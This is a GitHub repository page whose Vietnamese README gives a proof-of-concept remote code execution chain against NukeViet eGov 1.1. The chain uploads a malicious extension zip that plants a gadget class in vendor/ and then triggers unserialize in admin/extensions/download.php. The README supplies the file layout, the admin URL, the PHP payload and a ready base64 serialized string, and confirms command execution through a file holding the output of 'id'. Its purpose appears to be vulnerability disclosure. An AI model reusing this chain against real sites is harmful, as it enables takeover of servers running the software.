Skip to content

kn0x0x/poc-NukeViet

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 

Repository files navigation

NukeViet eGov 1.1 – Unserialize RCE (2-bug chain)

Bước 1 – Ghim gadget vào vendor/ qua upload extension

Chuẩn bị gói fruit_poc.zip với cấu trúc:

fruit_poc.zip
├── config.ini
└── vendor/
    └── true/
        └── punycode/
            └── src/
                └── Fruit.php

Fruit.php:
Screenshot 2025-12-15 at 14 44 39

Upload extension:

  1. Đăng nhập vào admin panel.
  2. Truy cập:
    http://localhost:8080/admin/index.php?language=vi&nv=extensions&op=manage
  3. Upload file fruit_poc.zip.
  4. NukeViet sẽ tự động giải nén và ghi file Fruit.php vào:
    vendor/true/punycode/src/Fruit.php
Screenshot 2025-12-15 at 15 13 21

Bước 2 – Lợi dụng unserialize trong extensions/download

Đoạn code tại admin/extensions/download.php:

Screenshot 2025-12-15 at 15 51 59

Cơ chế:

  • PHP cấu hình unserialize_callback_func = spl_autoload_call
  • Khi unserialize gặp object TrueBV\Fruit, autoloader sẽ tự động load file gadget đã upload ở Bước 1.

Payload PHP:

$payload = [
    'id' => 1,
    'tid' => 1,
    'compatible' => ['id' => 1],
    0 => new TrueBV\Fruit(),
];

Chuỗi base64 gửi trong tham số data:

YTo0OntzOjI6ImlkIjtpOjE7czozOiJ0aWQiO2k6MTtzOjEwOiJjb21wYXRpYmxlIjthOjE6e3M6MjoiaWQiO2k6MTt9aTowO086MTI6IlRydWVCVlxGcnVpdCI6MDp7fX0=

Request exploit (Admin access):
Screenshot 2025-12-15 at 14 45 20


Bước 3 – Xác nhận RCE

  • Gadget ghi kết quả thực thi lệnh id vào file:
    data/tmp/rce_test.txt

Sau khi gửi payload, kiểm tra file kết quả:

Screenshot 2025-12-15 at 14 45 32

Kết luận

Hai lỗ hổng:

  1. Upload extension cho phép ghi file vào thư mục vendor/
  2. Unserialize object từ dữ liệu người dùng trong extensions/download

Kết hợp lại dẫn tới (RCE)

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors